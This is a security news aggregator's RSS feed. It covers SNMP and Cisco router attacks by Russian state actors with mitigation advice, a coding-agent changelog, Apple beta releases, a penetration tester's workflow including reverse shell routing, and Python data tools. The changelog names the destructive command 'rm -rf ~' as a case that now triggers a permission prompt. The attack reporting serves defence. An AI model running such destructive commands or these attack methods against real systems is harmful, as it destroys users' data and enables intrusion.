<h2 class="wp-block-heading">How SNMP attacks work</h2>



<p class="wp-block-paragraph">To begin their attack, state-sponsored cybercriminals send requests via the standard Simple Network Management Protocol (SNMP) framework that supports device-network information exchange, which allows them to scan for weak, insecure devices still using older SNMPv1 or SNMPv2 protocols that accept common or default “community strings” for authentication. These strings are typically shared passwords, with predictable, public defaults that might have been left untouched by admins. Additionally, many of these devices may remain in their basic router configurations.</p>



<p class="wp-block-paragraph">Using spoofed IP addresses, threat actors instruct SNMP agents running on these devices to copy their configurations to a file (typically “config.bkp” or “output.txt”), then transfer that file to virtual private servers (VPSs) that they control. In addition, cybercriminals are exploiting <a href="https://www.csoonline.com/article/4168484/your-refresh-plan-has-a-cve-blind-spot.html" target="_blank">common vulnerabilities and exposures</a> (CVEs) in Cisco devices, as well as in the Cisco’s Smart Install (SMI) tool.</p>



<p class="wp-block-paragraph">Actors have exploited, at the very least, <a href="https://nvd.nist.gov/vuln/detail/cve-2018-0171" target="_blank" rel="noreferrer noopener">CVE-2018-0171</a> (published in 2018) and <a href="https://nvd.nist.gov/vuln/detail/cve-2008-4128" target="_blank" rel="noreferrer noopener">CVE-2008-4128</a> (published in 2008), according to the bulletin. Both of these targeted <a href="https://www.csoonline.com/article/4043721/russian-hackers-exploit-old-cisco-flaw-to-target-global-enterprise-networks.html" target="_blank">Cisco routers</a>, giving remote, unauthenticated attackers the ability to execute arbitrary code, take unauthorized actions, or cause a denial of service (DoS).</p>



<p class="wp-block-paragraph">Notable groups using this method are known to the security community as “Berserk Bear,” “Crouching Yeti,” “Dragonfly,” “Energetic Bear,” “Ghost Blizzard,” and “Static Tundra.” According to the bulletin, the industries most vulnerable to Russian state-sponsored cyber actors include communications, energy, financial services, defense industrial bases, healthcare and public health facilities, and government services and facilities.</p>



<h2 class="wp-block-heading">A set-and-forget approach, even in 2026</h2>



<p class="wp-block-paragraph">The problem with router hygiene is that devices are susceptible to a “confluence of typical enterprise shortcomings” when it comes to operationalizing security, noted Info-Tech’s Ioussoufovitch.</p>



<p class="wp-block-paragraph">“Many organizations still take a set-it-and-forget-it approach to routers, and don’t track them like they would an endpoint,” he said.</p>



<p class="wp-block-paragraph">Compounding this risk is the fact that routers are typically critical to business continuity, which increases the necessity of keeping their security up-to-date. To make things worse, in some cases, it might also be unclear who’s in charge of device security. “Security points to the network team and they’re pointing right back at security,” Ioussoufovitch noted.</p>



<p class="wp-block-paragraph">As well, many organizations continue to rely on legacy hardware that may be unsupported, but that the business is unwilling to replace.</p>



<p class="wp-block-paragraph">Ultimately, Ioussoufovitch said, “network security just doesn’t seem to be receiving the same amount of attention as the usual areas of focus (like endpoints).”</p>



<h2 class="wp-block-heading">Recommendation: Move away from older protocols and devices immediately</h2>



<p class="wp-block-paragraph">Specifically, the agencies urged security teams and network admins to upgrade to SNMPv3, enforce secure passwords, disable Cisco Smart Install, and block SNMP and common file transfer methods “at the firewall.”</p>



<p class="wp-block-paragraph">Enterprises should immediately disable SNMPv1 and SNMPv2, which are “legacy protocols and should no longer be needed on current devices.” In instances where they are still deemed necessary, shift from default settings to grant read-only access (no read-write access).</p>



<p class="wp-block-paragraph">SNMPv3 should be employed with <em>authPriv</em> configured to the “most modern encryption standard,” the bulletin advised. SNMPv3 adds strong authentication and data encryption unavailable in previous versions, and has more securely encoded parameters to authenticate and encrypt data.</p>



<p class="wp-block-paragraph">“Moving to SNMPv3, which offers stronger authentication and encryption, is a clear, actionable step security teams need to prioritize now,” Ioussoufovitch agreed.</p>



<p class="wp-block-paragraph">The government agencies urged enterprises to use strong, unique passwords for local accounts on network devices, and to monitor for unusual credentials that do not match standard naming conventions, or misconfiguration in logs or intrusion detection systems (IDS). Networks should support multi-factor authentication (MFA), and admins should enforce allow lists for management protocols like SNMP.</p>



<p class="wp-block-paragraph">Additionally, enterprises should update network device software, retire end-of-life devices, and disable Cisco Smart Install on all machines once initial configuration is complete, as this introduces serious <a href="https://www.csoonline.com/article/4195710/jurassic-park-cybersecurity-and-the-dangerous-myth-of-control.html" target="_blank">security issues</a> when it inadvertently remains enabled, the agencies said.</p>



<h2 class="wp-block-heading">Network security must improve across the board</h2>



<p class="wp-block-paragraph">The advisory is a signal that enterprises may be underinvesting in network security, noted Ioussoufovitch. Admins and security leaders should be asking these questions:</p>



<ul class="wp-block-list">
<li>Do they have decent network detection and response capabilities in place?</li>



<li>Are they applying analytics and anomaly detection to network traffic patterns?</li>



<li>Have they incorporated micro-segmentation across the enterprise environment to limit risks posed by any individual router?</li>
</ul>



<p class="wp-block-paragraph">“Getting at least some of these proactive measures in place, while taking a more disciplined approach to the tracking and replacement of EOL devices, can help security and network teams finally start making some headway against these types of threats,” said Ioussoufovitch.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/dbshipley/" target="_blank" rel="noreferrer noopener">David Shipley</a> of Beauceron Security agreed that enterprise networking equipment security must be improved, but said that’s more on the vendors than the critical infrastructure providers. Vendors should be shipping products that are secure by default; customers shouldn’t have to be going back and turning these features on.</p>



<p class="wp-block-paragraph">He added that it would be great to see Salt Typhoon-proof levels of device security and authentication. “Right now, it’s been trivial for them to pwn networking gear,” he said.</p>



<p class="wp-block-paragraph">While the guidance is important and will help, Shipley said, “building better and shipping secure by default would do even more.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[v2.1.208]]></title>
<description><![CDATA[What's changed

Added screen reader mode: opt-in plain-text rendering for screen reader users. Run claude --ax-screen-reader, set CLAUDE_AX_SCREEN_READER=1, or add "axScreenReader": true to settings.
Added vimInsertModeRemaps setting: map two-key insert-mode sequences like jj to Escape in vim mod...]]></description>
<link>https://tsecurity.de/de/3666678/downloads/v21208/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3666678/downloads/v21208/</guid>
<pubDate>Tue, 14 Jul 2026 03:16:40 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's changed</h2>
<ul>
<li>Added screen reader mode: opt-in plain-text rendering for screen reader users. Run <code>claude --ax-screen-reader</code>, set CLAUDE_AX_SCREEN_READER=1, or add "axScreenReader": true to settings.</li>
<li>Added <code>vimInsertModeRemaps</code> setting: map two-key insert-mode sequences like <code>jj</code> to Escape in vim mode</li>
<li>Added <code>CLAUDE_CODE_PROCESS_WRAPPER</code>: agent view and the background service now honor a corporate launcher by running every Claude Code self-spawn through a required wrapper executable</li>
<li>Added mouse-click support for multi-select menus and "Other" input rows in fullscreen mode</li>
<li>Fixed fast mode staying off after switching back to a model that supports it — it now restores automatically when enabled in settings</li>
<li>Fixed replies typed to a background agent being lost when delivery fails — the text is now saved and delivered when the session restarts</li>
<li>Fixed background-session attach failing permanently ("Couldn't start the background daemon") after an update replaced the binary a running <code>claude agents</code> process was launched from</li>
<li>Fixed the context window (and auto-compact indicator) briefly resetting to 200k after the CLI auto-updates, causing a false "100% context used" when resuming long-context sessions</li>
<li>Fixed supervised and background sessions crashing when a server closed an HTTP/2 connection with a GOAWAY while requests were in flight</li>
<li>Fixed truncated stream-json/JSON output and missing result message when piping large responses from <code>claude -p</code></li>
<li>Fixed <code>CLAUDE_CODE_MAX_OUTPUT_TOKENS</code> and similar env vars silently using the mantissa of scientific-notation values (<code>1e6</code> became <code>1</code>)</li>
<li>Fixed very large markdown tables stalling rendering or using excessive memory; tables over 200 rows show the first 200 with a "… N more rows" notice</li>
<li>Fixed the Edit tool failing on files modified after reading when the target text still matches uniquely</li>
<li>Fixed Read reporting empty files as "shorter than offset", Grep silently returning "No files found" for invalid regex patterns, Grep count mode under-reporting totals when paginated, and Glob crashing with an unclear error when the pattern, path, or working directory contained a null byte</li>
<li>Fixed <code>apiKeyHelper</code> script failures being hidden behind a generic 401 after ~10 silent retries; the script's own error is now shown within 3 attempts</li>
<li>Fixed Bedrock streaming requests failing with a misleading "Truncated event message received" when a gateway transforms the response — the error now names the content-type and points at the proxy</li>
<li>Fixed <code>/upgrade</code> showing a login flow instead of the upgrade URL when the browser fails to open</li>
<li>Fixed stream-json input killing the session on blank CRLF or whitespace-only lines from Windows-style SDK hosts</li>
<li>Fixed headless stream-json sessions hanging permanently when a <code>control_request</code> carried a non-string <code>set_model</code> payload; the CLI now answers with an error response</li>
<li>Fixed repeated "No completion record was found" notices on session resume — orphaned background tasks now collapse into a single summary</li>
<li>Fixed Remote Control clients attaching to a terminal-hosted session not seeing background agents and workflow progress until a task started or stopped</li>
<li>Fixed the Agent tool launching with no tools when a subagent's <code>tools</code> list resolves to nothing — it now returns a clear error naming the unrecognized entries</li>
<li>Fixed <code>/usage</code> showing stale cached bars over fresher data, and <code>/mcp</code> not reclassifying placeholder servers after config edits</li>
<li>Fixed "Change directory" in SDK hosts (e.g. Claude Desktop) failing with "A turn is in progress" on idle sessions that have a running background task</li>
<li>Fixed the workflow save dialog showing <code>~/.claude/workflows/</code> instead of the <code>CLAUDE_CONFIG_DIR</code> location for user-scope saves</li>
<li>Fixed <code>/release-notes</code> adding the viewed notes to the model's context — "Show all" previously injected the entire changelog into every subsequent request</li>
<li>Fixed a memory leak in the agent view where pasted images were retained for the screen's lifetime after sending peek replies</li>
<li>Fixed SDK sessions losing agents defined via the initialize request when a plugin refresh ran before the client attached</li>
<li>Fixed several memory leaks in long sessions: MCP stdio server stderr accumulating up to 64 MB per server, LSP documents staying open indefinitely (now LRU with 50-doc cap), async hook output retained after backgrounding, and unbounded growth in headless/SDK sessions from large tool-result payloads</li>
<li>Fixed a memory blowup when reading files with extremely long single lines using offset/limit — the read now returns a clean error instead of loading the whole line</li>
<li>Fixed multi-second per-turn slowdowns in sessions with many permission deny/ask rules — rule matchers are now compiled once and cached</li>
<li>Improved input responsiveness while agent task lists update — task updates no longer re-render the entire UI</li>
<li>Reduced per-tool-call CPU overhead in print/SDK sessions with many MCP tools by caching tool-pool assembly (up to 7x faster tool rounds at high tool counts)</li>
<li>Reduced memory usage by bounding the file edit read cache to 16 MB instead of pinning up to 1,000 full files</li>
<li>Reduced session transcript size (up to 79x in edit-heavy sessions) and bounded checkpoint disk usage by pruning superseded file-history backups</li>
<li>Reduced memory usage when resuming sessions with background agents or forks spawned from large conversations</li>
<li>Completed background agents now stay listed in <code>/tasks</code> until cleanup instead of vanishing the moment they finish</li>
<li>Attaching to a stopped background agent now shows its transcript immediately while the session warms up, instead of a blank "Session is starting" screen</li>
<li>Background sessions: an older daemon no longer silently restarts workers spawned by a newer version onto the older binary</li>
<li>Agent view: Ctrl+X now deletes renamed-branch worktrees, never destroys unpushed commits, keeps the session row when a worktree is kept, and reused worktree names reset to the current base</li>
<li>Catastrophic removals (e.g. <code>rm -rf ~</code>) in commands containing <code>$(…)</code>/backticks/<code>&lt;(…)</code> now prompt in <code>--dangerously-skip-permissions</code> and auto mode, matching the plain form</li>
<li><code>/install-github-app</code> and the <code>/mcp</code> settings menu no longer open in background sessions</li>
<li>MCP servers configured with an empty URL now show as "not configured" in <code>/mcp</code> instead of a config error</li>
<li><code>/usage</code> now shows your last-known usage bars with an "as of" note when the usage endpoint is rate-limited, instead of an error screen</li>
<li>Fixed Bedrock auth failing with "Session token not found or invalid" for AWS SSO profiles whose sso_region differs from the Bedrock region (2.1.207 regression)</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple Releases macOS 27 Golden Gate Public Beta With Big AI Features]]></title>
<description><![CDATA[Apple has released the first public beta of macOS 27 Golden Gate, allowing users outside the developer program to test the update before its full release later this year. The public beta follows three developer beta releases and includes the new Siri AI experience, design refinements, improved se...]]></description>
<link>https://tsecurity.de/de/3666613/ios-mac-os/apple-releases-macos-27-golden-gate-public-beta-with-big-ai-features/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3666613/ios-mac-os/apple-releases-macos-27-golden-gate-public-beta-with-big-ai-features/</guid>
<pubDate>Tue, 14 Jul 2026 02:08:28 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple has released the first public beta of macOS 27 Golden Gate, allowing users outside the developer program to test the update before its full release later this year. The public beta follows three developer beta releases and includes the new Siri AI experience, design refinements, improved search, and several Apple Intelligence upgrades.



Since this is pre-release software, users should expect bugs, compatibility problems, increased battery use, and occasional performance issues. Apple recommends installing beta software on a secondary Mac or a separate partition rather than a work or business-critical computer.



How to install macOS 27 Golden Gate public beta



Back up your Mac before installing the update so you can protect your files if something goes wrong.




Visit the Apple Beta Software Program website and sign in using your Apple Account.



Enrol your Mac in the public beta program.



Open System Settings on your Mac.



Select General, followed by Software Update.



Click the information button next to Beta Updates.



Choose macOS 27 Golden Gate Public Beta from the menu.



Click Done and wait for the update to appear.



Select Update Now and follow the on-screen instructions.




The installation can take some time, and your Mac may restart several times during the process.



Everything new in macOS 27 Golden Gate public beta




New Siri AI experience: Siri now works as a more capable conversational assistant and supports natural follow-up questions. It can search the web, provide detailed answers, and help with tasks across supported apps.



Personal context searches: Siri can search information stored in apps such as Mail, Messages, Notes, and Photos. For example, users can ask Siri to locate an old email, find a particular photo, or retrieve information shared in a conversation.



Dedicated Siri app: macOS 27 introduces a separate Siri app that stores conversations in one place. Users can continue previous conversations, start new ones, and access Siri through Spotlight using Command + Space.



Visual Intelligence on Mac: Siri can examine content displayed on the screen and answer questions about it. This can help users understand documents, images, webpages, and other visible information.



Improved Spotlight search: Apple has updated the search system to deliver more reliable results across files, apps, emails, and messages. Users can also access Siri AI directly through Spotlight.



Updated Liquid Glass design: The update reduces excessive transparency and improves the way complex backgrounds appear behind menus and windows. Apple has also added more depth between interface elements, making it easier to identify the active window.



Transparency controls: Users can adjust the amount of system transparency using a new slider, providing more control over the Liquid Glass appearance.



More consistent windows and toolbars: Apps now use more consistent corner shapes, toolbar layouts, headings, and controls. Sidebars extend to the edges of windows instead of appearing as floating panels.



Writing tools powered by Siri: The updated writing tools can generate text, correct grammar, rewrite existing content, and offer feedback on drafts.



New Photos editing features: Apple Intelligence adds tools that can clean up unwanted objects, adjust image framing, and extend photos beyond their original borders.



Natural-language Shortcuts: Users can describe an automation in normal language, and the Shortcuts app will create the required actions without needing every step to be added manually.



Improved Mail and Messages search: Search results inside Mail and Messages are more accurate, making it easier to locate older conversations and information.



Safari extension builder: macOS 27 can create basic Safari extensions from natural-language instructions, reducing the amount of manual development required.



Updated iPhone Mirroring: The iPhone Mirroring app supports more flexible screen sizes and aspect ratios, making iPhone apps easier to view on a Mac.



Performance improvements: Apple has made system-level changes to improve responsiveness, display rendering, memory management, and CPU use, including on older supported Macs.




The first macOS 27 Golden Gate public beta gives users an early look at Apple’s upcoming Mac features, though bugs and unfinished tools remain possible throughout the testing period. If you’ve already installed the update, let us know your experience in the comments.]]></content:encoded>
</item>
<item>
<title><![CDATA[HPR4682: Behind the Keyboard: A Cybersecurity Operator’s Real-World Workflow]]></title>
<description><![CDATA[This show has been flagged as Explicit by the host.










SUMMARY


The presenter outlines a practical cybersecurity workflow, covering ergonomic setups, browser isolation, virtual machine troubleshooting, AI-assisted scripting, and network tunneling methods utilized during active securi...]]></description>
<link>https://tsecurity.de/de/3666605/podcasts/hpr4682-behind-the-keyboard-a-cybersecurity-operators-real-world-workflow/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3666605/podcasts/hpr4682-behind-the-keyboard-a-cybersecurity-operators-real-world-workflow/</guid>
<pubDate>Tue, 14 Jul 2026 02:03:31 +0200</pubDate>
<category>🎥 Podcasts</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This show has been flagged as Explicit by the host.</p>

<h1>

</h1>

<h1>

</h1>

<h1>
SUMMARY</h1>

<p>
The presenter outlines a practical cybersecurity workflow, covering ergonomic setups, browser isolation, virtual machine troubleshooting, AI-assisted scripting, and network tunneling methods utilized during active security assessments.</p>

<h1>
ONE-SENTENCE TAKEAWAY</h1>

<p>
Isolate browser environments, utilize automation scripts, and verify network paths before starting security tests to avoid workflow interruptions.</p>

<h1>
TOOLS</h1>

<ul>

<li>

<strong>
Talon Voice</strong>
 – Open-source voice recognition software enabling hands-free computer control and command execution.</li>

<li>

<strong>
Obsidian</strong>
 – Local-first markdown note-taking application supporting secure, AI-friendly knowledge management.</li>

<li>

<strong>
AutoHotkey</strong>
 – Windows scripting utility for creating custom macros and remapping keyboard inputs.</li>

<li>

<strong>
Chrome Debug Commands</strong>
 – Browser developer tools allowing direct inspection of extensions, cookies, and storage.</li>

<li>

<strong>
Whisper Diarization</strong>
 – Audio processing script that separates speaker tracks and converts recordings to searchable text.</li>

<li>

<strong>
Hyper-V / WSL</strong>
 – Microsoft virtualization platforms enabling isolated guest environments and Linux subsystem integration.</li>

<li>

<strong>
OpenConnect / OpenVPN</strong>
 – Command-line tunneling clients used for establishing secure, split-tunnel network connections.</li>

<li>

<strong>
Jamboree Framework</strong>
 – Portable PowerShell environment that dynamically provisions development tools without altering system paths.</li>

<li>

<strong>
MOBA Portable</strong>
 – Feature-rich terminal emulator supporting static/dynamic tunnels, auto-reconnect, and embedded X-server capabilities.</li>

<li>

<strong>
Nmap</strong>
 – Network discovery and security auditing tool utilized for comprehensive port scanning and service detection.</li>

</ul>

<h2>
00:00:00 Ergonomic Workspace Configuration</h2>

<p>
Configures physical workstation elements to reduce strain during extended testing sessions. Proper alignment prevents repetitive stress injuries while maintaining focus on technical tasks.</p>

<ul>

<li>

<strong>
Monitor Positioning</strong>
 – Displays should align with eye level to maintain neutral neck posture; the speaker notes their curved 49-inch screen sits slightly high due to chair adjustments.</li>

<li>

<strong>
Split Keyboard Layout</strong>
 – Utilizes a Freestyle 2 mechanical keyboard, allowing natural shoulder-width arm placement and reducing wrist deviation during prolonged typing.</li>

<li>

<strong>
Postural Adaptation</strong>
 – Acknowledges that ergonomic equipment requires matching body alignment; elbow rests should sit between hip and shoulder height for optimal leverage.</li>

</ul>

<h2>
01:45:00 Voice Control &amp; Note Synchronization</h2>

<p>
Utilizes auditory input methods and localized knowledge bases to streamline documentation workflows. Separating secure work notes from casual observations prevents data contamination.</p>

<ul>

<li>

<strong>
Talon Voice Integration</strong>
 – Runs continuously to handle navigation, text entry, and application switching without manual keyboard interaction.</li>

<li>

<strong>
Obsidian Migration</strong>
 – Transitions from cloud-based keep apps to local markdown files, enabling direct querying by local AI models while maintaining offline accessibility.</li>

<li>

<strong>
Note Categorization</strong>
 – Divides information into secure work records and insecure personal logs, ensuring clean data pipelines for future retrieval and analysis.</li>

</ul>

<h2>
03:50:00 Browser Extension Management &amp; Security Isolation</h2>

<p>
Separates web browsing activities from primary work processes to minimize attack surfaces. Running dedicated user profiles prevents plugin conflicts and credential leakage.</p>

<ul>

<li>

<strong>
Jailed User Accounts</strong>
 – Creates restricted system profiles that only launch the browser, isolating extensions from core workstation operations.</li>

<li>

<strong>
Shared Folder Synchronization</strong>
 – Establishes a single directory path bridging work and browsing users, allowing seamless file transfers without cross-contamination.</li>

<li>

<strong>
Extension Audit Process</strong>
 – Leverages Chrome debug commands to enumerate installed plugins, verifying functionality before deployment on target networks.</li>

</ul>

<h2>
06:15:00 Training Optimization &amp; Audio Processing</h2>

<p>
Accelerates mandatory compliance viewing through speed manipulation and automated transcription. Converting video content into searchable text enables rapid information retrieval.</p>

<ul>

<li>

<strong>
Global Speed Control</strong>
 – Increases playback rates up to sixteen times normal speed, drastically reducing time spent on repetitive corporate training modules.</li>

<li>

<strong>
Whisper Diarization Pipeline</strong>
 – Downloads video tracks, separates speaker voices, and generates timestamped transcripts for quick reference during assessments.</li>

<li>

<strong>
Download Management</strong>
 – Employs multi-threaded swarm downloaders and classic turbo managers to handle bulk media retrieval without interrupting active workflows.</li>

</ul>

<h2>
10:40:00 Virtualization &amp; Network Tunneling Protocols</h2>

<p>
Establishes isolated testing environments using Windows virtual machines while managing connectivity constraints. Proper session handling prevents unexpected disconnections during remote engagements.</p>

<ul>

<li>

<strong>
Enhanced Session Mode</strong>
 – A Hyper-V feature providing higher resolution and shared clipboard functionality; disabling it is required before initiating certain VPN clients to avoid routing conflicts.</li>

<li>

<strong>
Split Tunneling Mechanics</strong>
 – Routes specific traffic through the virtual network while keeping local resources accessible, preventing complete internet loss during connection tests.</li>

<li>

<strong>
Certificate Verification</strong>
 – Identifies self-signed SSL mismatches early in the process, documenting them as preliminary findings before proceeding with authentication steps.</li>

</ul>

<h2>
15:30:00 Macro Automation &amp; Input Remapping</h2>

<p>
Remaps frequently used keyboard shortcuts to reduce physical strain and accelerate command execution. Running scripts with elevated privileges ensures reliable input registration across virtual environments.</p>

<ul>

<li>

<strong>
Caps Lock Repurposing</strong>
 – Converts the caps lock key into a primary modifier, assigning copy/paste functions to adjacent letters for faster workflow navigation.</li>

<li>

<strong>
Physical Typing Macros</strong>
 – Simulates keystrokes with deliberate delays, allowing seamless data entry into restricted VM consoles that block standard clipboard operations.</li>

<li>

<strong>
Administrator Execution Requirement</strong>
 – Highlights that macro scripts must run with elevated privileges to successfully inject inputs across different desktop sessions.</li>

</ul>

<h2>
20:15:00 Portable Development Environments &amp; Python Management</h2>

<p>
Deploys lightweight scripting frameworks that dynamically provision necessary tools without modifying host configurations. Verifying package contents prevents dependency conflicts during testing.</p>

<ul>

<li>

<strong>
Jamboree Framework</strong>
 – A PowerShell-driven utility that downloads and configures development stacks on demand, resetting environment variables to maintain system cleanliness.</li>

<li>

<strong>
NuGet Package Filtering</strong>
 – Queries Microsoft's repository API to retrieve specific Python versions, ensuring compatibility with legacy tunneling scripts.</li>

<li>

<strong>
Binary Verification Process</strong>
 – Checks extracted archives for bundled <code>
pip.exe</code>
 or <code>
pip3.exe</code>
 executables, eliminating manual module installation steps during rapid deployments.</li>

</ul>

<h2>
28:40:00 AI-Assisted Scripting &amp; Debugging Workflows</h2>

<p>
Generates and refines PowerShell functions through iterative conversational prompts. Validating AI output against actual system behavior prevents silent configuration errors.</p>

<ul>

<li>

<strong>
Vibe Coding Approach</strong>
 – Relies on continuous feedback loops with language models to draft, minimize, and debug automation scripts in real-time.</li>

<li>

<strong>
Parameter Standardization</strong>
 – Enforces strict formatting rules for PowerShell commands, avoiding hardcoded paths and ensuring cross-environment compatibility.</li>

<li>

<strong>
Temporary Storage Management</strong>
 – Monitors extraction directories to prevent disk saturation, redirecting large package downloads away from constrained system partitions.</li>

</ul>

<h2>
35:10:00 Terminal Emulation &amp; Advanced Tunneling Strategies</h2>

<p>
Facilitates complex network routing through dedicated terminal applications. Configuring dynamic and static tunnels enables reliable reverse connections for remote assessments.</p>

<ul>

<li>

<strong>
MOBA Portable Configuration</strong>
 – Utilizes an INI-based tunnel manager that automatically maintains connections across changing IP addresses or Wi-Fi networks.</li>

<li>

<strong>
Reverse Shell Routing</strong>
 – Establishes outbound channels back to the tester, then proxies all subsequent traffic through those connections for consistent monitoring.</li>

<li>

<strong>
Proxy Chain Integration</strong>
 – Forces non-proxy-aware applications to route through Burp Suite or custom interceptors using Windows utility wrappers like Priboxy.</li>

</ul>

<h2>
42:30:00 Final Connectivity Testing &amp; Engagement Wrap-Up</h2>

<p>
Executes comprehensive port scans to verify target accessibility before documenting findings. Acknowledging workflow detours ensures realistic time management during active engagements.</p>

<ul>

<li>

<strong>
Nmap Verification</strong>
 – Runs full-port scans with verbose output to confirm host responsiveness and identify open services prior to credential testing.</li>

<li>

<strong>
Connection Refusal Documentation</strong>
 – Captures screenshot evidence of failed routing attempts, providing clear proof of network restrictions for client reporting.</li>

<li>

<strong>
Workflow Reflection</strong>
 – Recognizes that exploratory debugging adds value but requires time boundaries; balancing thoroughness with engagement scope maintains professional efficiency.</li>

</ul>

<p>

</p>


<p><a href="https://hackerpublicradio.org/eps/hpr4682/index.html#comments">Provide <strong>feedback</strong> on this episode</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[iOS 27 Public Beta Is Now Available: Here’s Everything New]]></title>
<description><![CDATA[Apple has released the first iOS 27 public beta, giving iPhone users an early look at Siri AI, faster system performance, refined Liquid Glass visuals, and several useful app upgrades. The beta is free to install, although users should expect bugs, battery drain, and occasional app compatibility ...]]></description>
<link>https://tsecurity.de/de/3666598/ios-mac-os/ios-27-public-beta-is-now-available-heres-everything-new/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3666598/ios-mac-os/ios-27-public-beta-is-now-available-heres-everything-new/</guid>
<pubDate>Tue, 14 Jul 2026 01:53:56 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple has released the first iOS 27 public beta, giving iPhone users an early look at Siri AI, faster system performance, refined Liquid Glass visuals, and several useful app upgrades. The beta is free to install, although users should expect bugs, battery drain, and occasional app compatibility problems.



How to Install the iOS 27 Public Beta



Back up your iPhone through iCloud or a computer before installing the beta. Using a secondary device is safer because returning to iOS 26 can require erasing the iPhone.




Visit the Apple Beta Software Program website.



Sign in using the Apple Account connected to your iPhone.



Accept the program terms and enroll your account.



Open Settings on your iPhone.



Go to General &gt; Software Update &gt; Beta Updates.



Select iOS 27 Public Beta.



Return to the previous screen and tap Update Now.




Your iPhone must have enough available storage, a stable Wi-Fi connection, and sufficient battery power to complete the installation.



Everything New in the iOS 27 Public Beta




Siri AI: Siri now supports more natural conversations, follow-up questions, personal information searches, onscreen awareness, and actions across supported apps. A dedicated Siri app also stores previous conversations. Siri AI requires an iPhone that supports Apple Intelligence.



Visual Intelligence in Camera: Users can point the camera at real-world information and ask Siri for help. The system can identify details, extract information, create calendar events, and perform tasks such as reading a barcode or analysing a meal.



Faster iPhone performance: Apple has improved app launches, AirDrop transfers, photo processing, keyboard loading, unlocking, Home Screen navigation, and system animations. These improvements also apply to older supported models, including the iPhone 11 series.



Liquid Glass controls: iOS 27 refines the Liquid Glass design introduced with iOS 26. A new slider under Settings &gt; Appearance lets users adjust how clear or tinted the interface appears.



Smarter Safari tools: Safari can automatically group tabs and organize bookmarks by topic. It can also watch webpages for changes and help users create extensions through natural-language instructions.



New Photos editing features: The Photos app includes an improved Clean Up tool for removing larger distractions. Extend can generate content beyond the edges of a photo, while Spatial Reframing lets users adjust the apparent camera angle after taking a picture.



Natural-language Shortcuts: Users can describe an automation in everyday language, and the Shortcuts app will build it. Additional instructions can refine the automation without starting again.



Improved password security: The Passwords app can replace some weak or compromised passwords automatically. It can also manage verification codes and show the replacement process through a Live Activity.



Screen Time redesign: Parents receive a clearer activity dashboard, category-based time allowances, and schedules for school days, evenings, and weekends. Children can request permission before visiting certain websites or contacting new people.



More child safety features: Communication Safety can detect and blur sensitive images. iOS 27 expands these protections to include violent or graphic content.



AirPods custom equalizer: Compatible AirPods gain separate controls for low, mid, and high frequencies, giving users more control over how music and other audio sound.



Messages improvements: Large photos and videos can continue sending in the background without delaying newer messages. Group conversations also handle Tapback notifications more clearly.



Better Photos sharing: Shared Albums support full-resolution media, contributions from Windows and Android devices, keywords, star ratings, and customizable slideshows.



Independent alarm volume: Users can change alarm volume without changing the overall system volume.



Larger Home Screen widgets: New extra-large widgets can take up an entire Home Screen page and show more information at once.



Home app upgrades: The Home app adds improved HomeKit Secure Video reliability and support for compatible 4K security cameras.



Better network switching: iPhones can move between Wi-Fi and cellular data more quickly when the current connection becomes weak.




The iOS 27 public beta will receive more updates before the final version arrives later this year. Anyone testing the software can report bugs through the Feedback Assistant app.



If you’ve already installed the update, let us know your experience in the comments.]]></content:encoded>
</item>
<item>
<title><![CDATA[7 newer data science tools you should be using with Python]]></title>
<description><![CDATA[Python’s rich ecosystem of data science tools is a big draw for users. The only downside of such a broad and deep collection is that sometimes the best tools can get overlooked.



Here’s a rundown of some of the best newer or less-known data science projects available for Python. Some, like Pola...]]></description>
<link>https://tsecurity.de/de/3665680/ai-nachrichten/7-newer-data-science-tools-you-should-be-using-with-python/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665680/ai-nachrichten/7-newer-data-science-tools-you-should-be-using-with-python/</guid>
<pubDate>Mon, 13 Jul 2026 17:04:47 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Python’s rich ecosystem of data science tools is a big draw for users. The only downside of such a broad and deep collection is that sometimes the best tools can get overlooked.</p>



<p class="wp-block-paragraph">Here’s a rundown of some of the best newer or less-known data science projects available for <a href="https://www.infoworld.com/article/2254260/how-to-get-started-with-python.html">Python</a>. Some, like Polars, are getting more attention but still deserve wider notice. Others, like ConnectorX, are hidden gems.</p>



<h2 class="wp-block-heading">ConnectorX</h2>



<p class="wp-block-paragraph">Most data sits in a database somewhere, but computation typically happens outside of it. Getting data to and from the database for actual work can be a slowdown. <a href="https://github.com/sfu-db/connector-x">ConnectorX</a> loads data from databases into many common data-wrangling tools in Python, and it keeps things fast by minimizing the work required. Most of the data loading can be done in just a couple of lines of Python code and <a href="https://www.infoworld.com/article/2255395/what-is-sql-the-lingua-franca-of-data-analysis.html">an SQL query</a>.</p>



<p class="wp-block-paragraph">Like Polars (which I’ll discuss shortly), ConnectorX uses a <a href="https://www.infoworld.com/article/2258463/rust-tutorial-get-started-with-the-rust-language.html">Rust</a> library at its core. This allows for optimizations like being able to load from a data source in parallel with partitioning. Data in <a href="https://www.infoworld.com/article/3489168/postgresql-tutorial-get-started-with-postgresql-16.html">PostgreSQL</a>, for instance, can be loaded this way by specifying a partition column.</p>



